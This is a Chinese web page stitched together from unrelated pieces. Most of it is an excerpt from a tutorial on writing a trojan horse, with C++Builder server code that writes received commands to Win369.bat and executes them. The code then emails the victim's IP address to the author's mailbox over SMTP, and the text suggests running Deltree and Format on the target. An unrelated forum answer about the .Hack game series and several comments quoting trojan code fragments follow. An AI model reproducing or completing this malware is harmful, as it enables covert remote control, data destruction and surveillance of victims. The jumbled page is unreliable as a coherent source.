file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

骇客根源是什么?

楼上搞错了吧~

楼主要找的应该是.Hack系列吧?

是日本很有特色的RPG之一

游戏只有PS2版

游戏出过 两大系列

一是HACK/SIGN系列,二是HACK/GU系列

游戏特色是

在单机上虚拟了网络游戏~

游戏主要就是描写了未来一款虚拟全息网游中发生的故事

也有动画

楼主要找的骇客根源就是HACK/ROOT

是06年推出的第3部动画,和Hack/GU有关

之前还有两部动画分别是HACK/SIGN 和黄昏腕轮传说~

3条大神的评论

  • avatar
    访客 2022-10-06 下午 03:42:48

    s的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进

  • avatar
    访客 2022-10-06 下午 05:49:46

    KEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken); 这个函数的作用是打开一个进程的访问令牌 函数的作用是得到本进程的句柄 LookupPrivileg

  • avatar
    访客 2022-10-06 下午 05:14:29

    控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。 再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:{ FILE *fp=NULL; char * content; int t

发表评论